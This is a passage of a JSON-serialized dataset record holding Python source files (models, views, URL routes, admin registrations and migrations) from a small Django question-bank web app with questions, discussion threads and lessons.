here\n\n});\n"},{"alpha_fraction":0.7441016435623169,"alphanum_fraction":0.7441016435623169,"avg_line_length":35.79999923706055,"blob_id":"8b6fcef2384511375408993db7565c41fa726335","content_id":"85f43a579d06a2c360e85523927226af528d3821","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":551,"license_type":"no_license","max_line_length":71,"num_lines":15,"path":"/discussions/views.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.shortcuts import render\nfrom discussions.models import Thread, Comment\n\n\ndef index(request):\n all_discussions = Thread.objects.all()\n context = {'discussion_list': all_discussions}\n return render(request, 'discussions/index.html', context)\n\n\ndef thread_template(request, discussion_id):\n comments = Comment.objects.filter(thread=discussion_id)\n title = Thread.objects.get(id=discussion_id).title\n context = {'comment_list': comments, 'title': title}\n return render(request, 'discussions/thread_template.html', context)"},{"alpha_fraction":0.8201438784599304,"alphanum_fraction":0.8201438784599304,"avg_line_length":34,"blob_id":"7a4ac5740cf4a5df7a598b81b814ce516fe9a0ff","content_id":"4b43cfbd9a61033928cef7cebb4909f7187e8209","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":139,"license_type":"no_license","max_line_length":55,"num_lines":4,"path":"/questions/admin.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.contrib import admin\nfrom questions.models import Question, Solution, Source\n\nadmin.site.register([Question, Solution, Source])"},{"alpha_fraction":0.5972073078155518,"alphanum_fraction":0.6063372492790222,"avg_line_length":26.397058486938477,"blob_id":"f971d18568b861cfe0b619d0a1c86b9b30e9d443","content_id":"23f106422af4228ab7cd6c0f758e69c5a570ea3b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1862,"license_type":"no_license","max_line_length":117,"num_lines":68,"path":"/questions/models.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom discussions.models import Thread\n\n\nclass Solution(models.Model):\n solution_text = models.TextField()\n\n def __str__(self):\n return self.solution_text[:50]\n\n\nclass Source(models.Model):\n source_name = models.CharField(max_length=64)\n source_url = models.CharField(max_length=256)\n\n def __str__(self):\n return self.source_name\n\n\nclass Question(models.Model):\n MATH = \"MATH\"\n PMATH = \"PMATH\"\n CS = \"CS\"\n CO = \"CO\"\n STAT = \"STAT\"\n ACTSCI = \"ACTSCI\"\n AMATH = \"AMATH\"\n\n SUBJECTS = (\n (MATH, \"Mathematics\"),\n (PMATH, \"Pure Mathematics\"),\n (CS, \"Computer Science\"),\n (CO, \"Combinatorics and Optimization\"),\n (STAT, \"Statistics\"),\n (ACTSCI, \"Actuarial Science\"),\n (AMATH, \"Applied Mathematics\"),\n )\n\n E = \"E\"\n M = \"M\"\n H = \"H\"\n\n DIFFICULTY = (\n (E, \"Easy\"),\n (M, \"Medium\"),\n (H, \"Hard\"),\n )\n\n question_title = models.CharField(max_length=64)\n question_text = models.TextField()\n\n subject = models.CharField(max_length=5, choices=SUBJECTS, default=MATH)\n difficulty = models.CharField(max_length=1, choices=DIFFICULTY, default=M)\n\n solution = models.ForeignKey(Solution, blank=True, null=True)\n # lesson = models.ForeignKey(Lesson, blank=True, null=True)\n source = models.ForeignKey(Source, blank=True, null=True)\n # discussion = models.ForeignKey(Thread, editable=False)\n\n def __str__(self):\n return \"{0} - {1}: {2}\".format(self.difficulty, self.subject,\n self.question_title[:50])\n\n def save(self):\n if not self.id:\n self.discussion = Thread.objects.create_thread(User.objects.get(id=1), self.question_title, self.subject)\n super(Question, self).save()"},{"alpha_fraction":0.5670911073684692,"alphanum_fraction":0.5719882249832153,"avg_line_length":34.2068977355957,"blob_id":"32d1d4bc21f09f4ad78981c094e31d33d2a30b8f","content_id":"b95081592d745c033cdf1f6d802027419a8bab8e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1021,"license_type":"no_license","max_line_length":116,"num_lines":29,"path":"/discussions/migrations/0002_comment.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"# encoding: utf8\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('discussions', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Comment',\n fields=[\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\n ('comment_text', models.TextField()),\n ('creator', models.ForeignKey(to=settings.AUTH_USER_MODEL, to_field=u'id')),\n ('thread', models.ForeignKey(to='discussions.Thread', to_field=u'id')),\n ('upvotes', models.PositiveSmallIntegerField()),\n ('downvotes', models.PositiveSmallIntegerField()),\n ('date', models.DateTimeField(editable=False)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n"},{"alpha_fraction":0.5198618173599243,"alphanum_fraction":0.5250431895256042,"avg_line_length":25.31818199157715,"blob_id":"83e44deceb8cfcb2cfa5f32dfa364d06c7f4a48f","content_id":"02f9baaf1076a602cb8f730e47ca151b9af4a98c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":579,"license_type":"no_license","max_line_length":116,"num_lines":22,"path":"/lessons/migrations/0001_initial.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"# encoding: utf8\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Lesson',\n fields=[\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\n ('lesson_name', models.CharField(default='', max_length=64)),\n ('lesson_text', models.TextField()),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n"},{"alpha_fraction":0.6619718074798584,"alphanum_fraction":0.67136150598526,"avg_line_length":29.571428298950195,"blob_id":"fff3b1bd20f99d24db539bf7751a4b7ab95580ab","content_id":"449bcb4157d9c54165d6cf179cebd8da2212e8f2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":213,"license_type":"no_license","max_line_length":90,"num_lines":7,"path":"/questions/urls.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.conf.urls import url\nfrom questions import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^(?P<question_id>[0-9]+)/$', views.question_template, name='question_template'),\n]"},{"alpha_fraction":0.5260804891586304,"alphanum_fraction":0.5310481786727905,"avg_line_length":41.82978820800781,"blob_id":"fafd34b7d3bfb49d86e090bd3afff45d12ec8d69","content_id":"767ba8a9c130506b98883f653052c0611394a6a4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2013,"license_type":"no_license","max_line_length":303,"num_lines":47,"path":"/questions/migrations/0001_initial.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"# encoding: utf8\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Solution',\n fields=[\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\n ('solution_text', models.TextField()),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Source',\n fields=[\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\n ('source_name', models.CharField(max_length=64)),\n ('source_url', models.CharField(max_length=256)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Question',\n fields=[\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\n ('question_title', models.CharField(max_length=64)),\n ('question_text', models.TextField()),\n ('subject', models.CharField(default='MATH', max_length=5, choices=[('MATH', 'Mathematics'), ('PMATH', 'Pure Mathematics'), ('CS', 'Computer Science'), ('CO', 'Combinatorics and Optimization'), ('STAT', 'Statistics'), ('ACTSCI', 'Actuarial Science'), ('AMATH', 'Applied Mathematics')])),\n ('difficulty', models.CharField(default='M', max_length=1, choices=[('E', 'Easy'), ('M', 'Medium'), ('H', 'Hard')])),\n ('solution', models.ForeignKey(to_field=u'id', blank=True, to='questions.Solution', null=True)),\n ('source', models.ForeignKey(to_field=u'id', blank=True, to='questions.Source', null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n"},{"alpha_fraction":0.6461318135261536,"alphanum_fraction":0.6461318135261536,"avg_line_length":29.39130401611328,"blob_id":"67f1e0becfcd684680c7ee78b2706e646c4d8126","content_id":"992725aa208bdc681fb953acfe0b6a542a04ba70","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":698,"license_type":"no_license","max_line_length":104,"num_lines":23,"path":"/question_bank/urls.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.conf import settings\n\n\ndef home(request):\n from django.shortcuts import render\n return render(request, 'index.html', {})\n\nurlpatterns = patterns(\n '',\n url(r'^$', home, name='home'),\n url(r'^home/', home, name='home'),\n url(r'^questions/', include('questions.urls')),\n url(r'^discussions/', include('discussions.urls')),\n url(r'^lessons/', include('lessons.urls')),\n url(r'^admin/', include(admin.site.urls)),\n)\n\nif settings.DEBUG:\n urlpatterns += patterns('',\n (r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),\n )"},{"alpha_fraction":0.6619718074798584,"alphanum_fraction":0.67136150598526,"avg_line_length":29.571428298950195,"blob_id":"376d4ea395df25a9f90bc0920a36095c5b601034","content_id":"5ae014109153c666934454a4a41973ccfd56c61d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":213,"license_type":"no_license","max_line_length":88,"num_lines":7,"path":"/discussions/urls.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.conf.urls import url\nfrom discussions import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^(?P<discussion_id>[0-9]+)/$', views.thread_template, name='thread_template'),\n]"},{"alpha_fraction":0.6199365854263306,"alphanum_fraction":0.6248679161071777,"avg_line_length":31.272727966308594,"blob_id":"030f5939d96b1528ffa91f28b8a31e1ccb3315a0","content_id":"c6aed0086705c70e29e5787074fd0e2e74426230","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2839,"license_type":"no_license","max_line_length":81,"num_lines":88,"path":"/discussions/models.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from datetime import datetime\nfrom django.db import models\nfrom django import forms\nfrom django.contrib.auth.models import User\n\n\nclass ThreadForm(forms.Form):\n # Attach to view for users to create a thread\n def __init__(self, request):\n from questions.models import Question\n self.fields = (\n forms.CharField(field_name=\"Title\", maxlength=128, is_required=True),\n forms.ChoiceField(field_name=\"Subject\", choices=Question.SUBJECTS)\n )\n self.request = request\n\n def save(self, new_data):\n return Thread.objects.create_thread(\n self.request.user, new_data['Title'], new_data['Subject'])\n\n\nclass ThreadManager(models.Manager):\n def create_thread(self, user, title, subject=None):\n new_thread = self.model(title=title, creator=user,\n upvotes=0, downvotes=0, date=datetime.today())\n new_thread.save()\n return new_thread\n\n\nclass Thread(models.Model):\n creator = models.ForeignKey(User)\n title = models.CharField(max_length=128)\n upvotes = models.PositiveSmallIntegerField()\n downvotes = models.PositiveSmallIntegerField()\n date = models.DateTimeField(editable=False)\n\n objects = ThreadManager()\n\n def __str__(self):\n return self.title + \" (\" + str(self.creator) + \")\"\n\n def save(self):\n if not self.id:\n self.date = datetime.today()\n super(Thread, self).save()\n\n\nclass CommentForm(forms.Form):\n # Attach to view for users to comment\n def __init__(self, request):\n self.fields = (\n forms.TextField(field_name=\"Comment\"),\n forms.ModelChoiceField(field_name=\"Thread\",\n queryset=Thread.objects.all()),\n )\n self.request = request\n\n def save(self, new_data):\n return Comment.objects.create_comment(\n self.request.user, new_data['Comment'], new_data['Thread'])\n\n\nclass CommentManager(models.Manager):\n def create_comment(self, user, comment_text, thread):\n new_comment = self.model(comment_text=comment_text, creator=user,\n thread=thread, upvotes=0, downvotes=0,\n date=datetime.today())\n new_comment.save()\n return new_comment\n\n\nclass Comment(models.Model):\n comment_text = models.TextField()\n creator = models.ForeignKey(User)\n thread = models.ForeignKey(Thread)\n upvotes = models.PositiveSmallIntegerField()\n downvotes = models.PositiveSmallIntegerField()\n date = models.DateTimeField(editable=False)\n\n objects = CommentManager()\n\n def __str__(self):\n return self.creator.username[:20] + \": \" + self.comment_text[:40]\n\n def save(self):\n if not self.id:\n self.date = datetime.today()\n super(Comment, self).save()"},{"alpha_fraction":0.5639344453811646,"alphanum_fraction":0.5792349576950073,"avg_line_length":27.59375,"blob_id":"9f4114390f53bbcceac5fff7bee183a5a4085f02","content_id":"8793a7392b3f01b2c8ec4541d5065db58bfa89c2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":915,"license_type":"no_license","max_line_length":115,"num_lines":32,"path":"/lessons/migrations/0002_auto_20141126_0140.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"# encoding: utf8\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport datetime\nfrom django.contrib.auth.models import User\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('lessons', '0001_initial'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='lesson',\n old_name='lesson_name',\n new_name='title',\n ),\n # migrations.AddField(\n # model_name='lesson',\n # name='creator',\n # field=models.ForeignKey(to=settings.AUTH_USER_MODEL, default=User.objects.get(id=1), to_field=u'id'),\n # preserve_default=False,\n # ),\n migrations.AddField(\n model_name='lesson',\n name='date',\n field=models.DateTimeField(default=datetime.date(2014, 11, 26), editable=False),\n preserve_default=False,\n ),\n ]\n"},{"alpha_fraction":0.6202898621559143,"alphanum_fraction":0.626086950302124,"avg_line_length":27.79166603088379,"blob_id":"a50def7dbb2a6b6213c3e672bae49ae1a2d10526","content_id":"66756e21cc29f478222e73cb8405f396fef34bea","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":690,"license_type":"no_license","max_line_length":76,"num_lines":24,"path":"/lessons/models.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from datetime import datetime\nfrom django.db import models\n\n\nclass LessonManager(models.Manager):\n def create_lesson(self, user, title, text, subject=None):\n new_lesson = self.model(title=title, creator=user, lesson_text=text,\n date=datetime.today())\n new_lesson.save()\n return new_lesson\n\n\nclass Lesson(models.Model):\n title = models.CharField(max_length=64, default=\"\")\n lesson_text = models.TextField()\n date = models.DateTimeField(editable=False)\n\n def __str__(self):\n return self.title[:50]\n\n def save(self):\n if not self.id:\n self.date = datetime.today()\n super(Lesson, self).save()"},{"alpha_fraction":0.8235294222831726,"alphanum_fraction":0.8235294222831726,"avg_line_length":29,"blob_id":"1f0fe95185fac288e6fe3cf1f8abea3972b3ea47","content_id":"e8f926726f703e64fdb9999bf2ff8b91618e6d37","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":119,"license_type":"no_license","max_line_length":46,"num_lines":4,"path":"/discussions/admin.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.contrib import admin\nfrom discussions.models import Thread, Comment\n\nadmin.site.register([Thread, Comment])"},{"alpha_fraction":0.722347617149353,"alphanum_fraction":0.7358916401863098,"avg_line_length":33.153846740722656,"blob_id":"84813ecf07c8a6ab2d32556c558e6369bfa540c4","content_id":"bc8982089e843504600b4135e18f329d6efe6999","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":443,"license_type":"no_license","max_line_length":79,"num_lines":13,"path":"/questions/views.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.shortcuts import render, get_object_or_404\nfrom questions.models import Question\n\n\ndef index(request):\n all_questions = Question.objects.all()\n context = {'question_list': all_questions}\n return render(request, 'questions/index.html', context)\n\n\ndef question_template(request, question_id):\n q = get_object_or_404(Question, id=question_id)\n return render(request, 'questions/question_template.html', {'question': q})"},{"alpha_fraction":0.7036144733428955,"alphanum_fraction":0.7180722951889038,"avg_line_length":31,"blob_id":"59e11b9612665fc2d50d031d0fcea868dc198e72","content_id":"cedd53d7102a0f8fe7dc2b20cb02b255e6993140","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":415,"license_type":"no_license","max_line_length":73,"num_lines":13,"path":"/lessons/views.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.shortcuts import render, get_object_or_404\nfrom lessons.models import Lesson\n\n\ndef index(request):\n all_lessons = Lesson.objects.all()\n context = {'lesson_list': all_lessons}\n return render(request, 'lessons/index.html', context)\n\n\ndef lesson_template(request, lesson_id):\n l = get_object_or_404(Lesson, id=lesson_id)\n return render(request, 'lessons/lesson_template.html', {'lesson': l})"}],"string":"[\n {\n \"alpha_fraction\": 0.6487804651260376,\n \"alphanum_fraction\": 0.6585366129875183,\n \"avg_line_length\": 28.428571701049805,\n \"blob_id\": \"2ee4af909695c9199f45a32d534bf76a6c0cce25\",\n \"content_id\": \"a553d1074b5660ba8fe1c91cecac09fb1b91c463\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 205,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 7,\n \"path\": \"/lessons/urls.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.conf.urls import url\\nfrom lessons import views\\n\\nurlpatterns = [\\n url(r'^$', views.index, name='index'),\\n url(r'^(?P<lesson_id>[0-9]+)/$', views.lesson_template, name='lesson_template'),\\n]\"\n },\n {\n \"alpha_fraction\": 0.653333306312561,\n \"alphanum_fraction\": 0.653333306312561,\n \"avg_line_length\": 17.75,\n \"blob_id\": \"102b8250fe8bf06a08cb472305c437a9c8944e23\",\n \"content_id\": \"11adff2f9998359bdc112857db0a95a5e3f04de7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 75,\n \"license_type\": \"no_license\",\n \"max_line_length\": 38,\n \"num_lines\": 4,\n \"path\": \"/questions/static/js/main.js\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"$(document).ready(function() {\\n // Add document functionality here\\n\\n});\\n\"\n },\n {\n \"alpha_fraction\": 0.7441016435623169,\n \"alphanum_fraction\": 0.7441016435623169,\n \"avg_line_length\": 35.79999923706055,\n \"blob_id\": \"8b6fcef2384511375408993db7565c41fa726335\",\n \"content_id\": \"85f43a579d06a2c360e85523927226af528d3821\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 551,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 15,\n \"path\": \"/discussions/views.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render\\nfrom discussions.models import Thread, Comment\\n\\n\\ndef index(request):\\n all_discussions = Thread.objects.all()\\n context = {'discussion_list': all_discussions}\\n return render(request, 'discussions/index.html', context)\\n\\n\\ndef thread_template(request, discussion_id):\\n comments = Comment.objects.filter(thread=discussion_id)\\n title = Thread.objects.get(id=discussion_id).title\\n context = {'comment_list': comments, 'title': title}\\n return render(request, 'discussions/thread_template.html', context)\"\n },\n {\n \"alpha_fraction\": 0.8201438784599304,\n \"alphanum_fraction\": 0.8201438784599304,\n \"avg_line_length\": 34,\n \"blob_id\": \"7a4ac5740cf4a5df7a598b81b814ce516fe9a0ff\",\n \"content_id\": \"4b43cfbd9a61033928cef7cebb4909f7187e8209\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 139,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 4,\n \"path\": \"/questions/admin.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.contrib import admin\\nfrom questions.models import Question, Solution, Source\\n\\nadmin.site.register([Question, Solution, Source])\"\n },\n {\n \"alpha_fraction\": 0.5972073078155518,\n \"alphanum_fraction\": 0.6063372492790222,\n \"avg_line_length\": 26.397058486938477,\n \"blob_id\": \"f971d18568b861cfe0b619d0a1c86b9b30e9d443\",\n \"content_id\": \"23f106422af4228ab7cd6c0f758e69c5a570ea3b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1862,\n \"license_type\": \"no_license\",\n \"max_line_length\": 117,\n \"num_lines\": 68,\n \"path\": \"/questions/models.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.db import models\\nfrom django.contrib.auth.models import User\\nfrom discussions.models import Thread\\n\\n\\nclass Solution(models.Model):\\n solution_text = models.TextField()\\n\\n def __str__(self):\\n return self.solution_text[:50]\\n\\n\\nclass Source(models.Model):\\n source_name = models.CharField(max_length=64)\\n source_url = models.CharField(max_length=256)\\n\\n def __str__(self):\\n return self.source_name\\n\\n\\nclass Question(models.Model):\\n MATH = \\\"MATH\\\"\\n PMATH = \\\"PMATH\\\"\\n CS = \\\"CS\\\"\\n CO = \\\"CO\\\"\\n STAT = \\\"STAT\\\"\\n ACTSCI = \\\"ACTSCI\\\"\\n AMATH = \\\"AMATH\\\"\\n\\n SUBJECTS = (\\n (MATH, \\\"Mathematics\\\"),\\n (PMATH, \\\"Pure Mathematics\\\"),\\n (CS, \\\"Computer Science\\\"),\\n (CO, \\\"Combinatorics and Optimization\\\"),\\n (STAT, \\\"Statistics\\\"),\\n (ACTSCI, \\\"Actuarial Science\\\"),\\n (AMATH, \\\"Applied Mathematics\\\"),\\n )\\n\\n E = \\\"E\\\"\\n M = \\\"M\\\"\\n H = \\\"H\\\"\\n\\n DIFFICULTY = (\\n (E, \\\"Easy\\\"),\\n (M, \\\"Medium\\\"),\\n (H, \\\"Hard\\\"),\\n )\\n\\n question_title = models.CharField(max_length=64)\\n question_text = models.TextField()\\n\\n subject = models.CharField(max_length=5, choices=SUBJECTS, default=MATH)\\n difficulty = models.CharField(max_length=1, choices=DIFFICULTY, default=M)\\n\\n solution = models.ForeignKey(Solution, blank=True, null=True)\\n # lesson = models.ForeignKey(Lesson, blank=True, null=True)\\n source = models.ForeignKey(Source, blank=True, null=True)\\n # discussion = models.ForeignKey(Thread, editable=False)\\n\\n def __str__(self):\\n return \\\"{0} - {1}: {2}\\\".format(self.difficulty, self.subject,\\n self.question_title[:50])\\n\\n def save(self):\\n if not self.id:\\n self.discussion = Thread.objects.create_thread(User.objects.get(id=1), self.question_title, self.subject)\\n super(Question, self).save()\"\n },\n {\n \"alpha_fraction\": 0.5670911073684692,\n \"alphanum_fraction\": 0.5719882249832153,\n \"avg_line_length\": 34.2068977355957,\n \"blob_id\": \"32d1d4bc21f09f4ad78981c094e31d33d2a30b8f\",\n \"content_id\": \"b95081592d745c033cdf1f6d802027419a8bab8e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1021,\n \"license_type\": \"no_license\",\n \"max_line_length\": 116,\n \"num_lines\": 29,\n \"path\": \"/discussions/migrations/0002_comment.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# encoding: utf8\\nfrom django.db import models, migrations\\nfrom django.conf import settings\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\\n ('discussions', '0001_initial'),\\n ]\\n\\n operations = [\\n migrations.CreateModel(\\n name='Comment',\\n fields=[\\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\\n ('comment_text', models.TextField()),\\n ('creator', models.ForeignKey(to=settings.AUTH_USER_MODEL, to_field=u'id')),\\n ('thread', models.ForeignKey(to='discussions.Thread', to_field=u'id')),\\n ('upvotes', models.PositiveSmallIntegerField()),\\n ('downvotes', models.PositiveSmallIntegerField()),\\n ('date', models.DateTimeField(editable=False)),\\n ],\\n options={\\n },\\n bases=(models.Model,),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.5198618173599243,\n \"alphanum_fraction\": 0.5250431895256042,\n \"avg_line_length\": 25.31818199157715,\n \"blob_id\": \"83e44deceb8cfcb2cfa5f32dfa364d06c7f4a48f\",\n \"content_id\": \"02f9baaf1076a602cb8f730e47ca151b9af4a98c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 579,\n \"license_type\": \"no_license\",\n \"max_line_length\": 116,\n \"num_lines\": 22,\n \"path\": \"/lessons/migrations/0001_initial.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# encoding: utf8\\nfrom django.db import models, migrations\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ]\\n\\n operations = [\\n migrations.CreateModel(\\n name='Lesson',\\n fields=[\\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\\n ('lesson_name', models.CharField(default='', max_length=64)),\\n ('lesson_text', models.TextField()),\\n ],\\n options={\\n },\\n bases=(models.Model,),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.6619718074798584,\n \"alphanum_fraction\": 0.67136150598526,\n \"avg_line_length\": 29.571428298950195,\n \"blob_id\": \"fff3b1bd20f99d24db539bf7751a4b7ab95580ab\",\n \"content_id\": \"449bcb4157d9c54165d6cf179cebd8da2212e8f2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 213,\n \"license_type\": \"no_license\",\n \"max_line_length\": 90,\n \"num_lines\": 7,\n \"path\": \"/questions/urls.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.conf.urls import url\\nfrom questions import views\\n\\nurlpatterns = [\\n url(r'^$', views.index, name='index'),\\n url(r'^(?P<question_id>[0-9]+)/$', views.question_template, name='question_template'),\\n]\"\n },\n {\n \"alpha_fraction\": 0.5260804891586304,\n \"alphanum_fraction\": 0.5310481786727905,\n \"avg_line_length\": 41.82978820800781,\n \"blob_id\": \"fafd34b7d3bfb49d86e090bd3afff45d12ec8d69\",\n \"content_id\": \"767ba8a9c130506b98883f653052c0611394a6a4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2013,\n \"license_type\": \"no_license\",\n \"max_line_length\": 303,\n \"num_lines\": 47,\n \"path\": \"/questions/migrations/0001_initial.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# encoding: utf8\\nfrom django.db import models, migrations\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ]\\n\\n operations = [\\n migrations.CreateModel(\\n name='Solution',\\n fields=[\\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\\n ('solution_text', models.TextField()),\\n ],\\n options={\\n },\\n bases=(models.Model,),\\n ),\\n migrations.CreateModel(\\n name='Source',\\n fields=[\\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\\n ('source_name', models.CharField(max_length=64)),\\n ('source_url', models.CharField(max_length=256)),\\n ],\\n options={\\n },\\n bases=(models.Model,),\\n ),\\n migrations.CreateModel(\\n name='Question',\\n fields=[\\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\\n ('question_title', models.CharField(max_length=64)),\\n ('question_text', models.TextField()),\\n ('subject', models.CharField(default='MATH', max_length=5, choices=[('MATH', 'Mathematics'), ('PMATH', 'Pure Mathematics'), ('CS', 'Computer Science'), ('CO', 'Combinatorics and Optimization'), ('STAT', 'Statistics'), ('ACTSCI', 'Actuarial Science'), ('AMATH', 'Applied Mathematics')])),\\n ('difficulty', models.CharField(default='M', max_length=1, choices=[('E', 'Easy'), ('M', 'Medium'), ('H', 'Hard')])),\\n ('solution', models.ForeignKey(to_field=u'id', blank=True, to='questions.Solution', null=True)),\\n ('source', models.ForeignKey(to_field=u'id', blank=True, to='questions.Source', null=True)),\\n ],\\n options={\\n },\\n bases=(models.Model,),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.6461318135261536,\n \"alphanum_fraction\": 0.6461318135261536,\n \"avg_line_length\": 29.39130401611328,\n \"blob_id\": \"67f1e0becfcd684680c7ee78b2706e646c4d8126\",\n \"content_id\": \"992725aa208bdc681fb953acfe0b6a542a04ba70\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 698,\n \"license_type\": \"no_license\",\n \"max_line_length\": 104,\n \"num_lines\": 23,\n \"path\": \"/question_bank/urls.py\",\n \"repo_name\": \"herougo/QuestionBank\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.conf.urls import patterns, include, url\\nfrom django.contrib import admin\\nfrom django.conf import settings\\n\\n\\ndef home(request):\\n from django.shortcuts import render\\n return render(request, 'index.html', {})\\n\\nurlpatterns = patterns(\\n '',\\n url(r'^$', home, 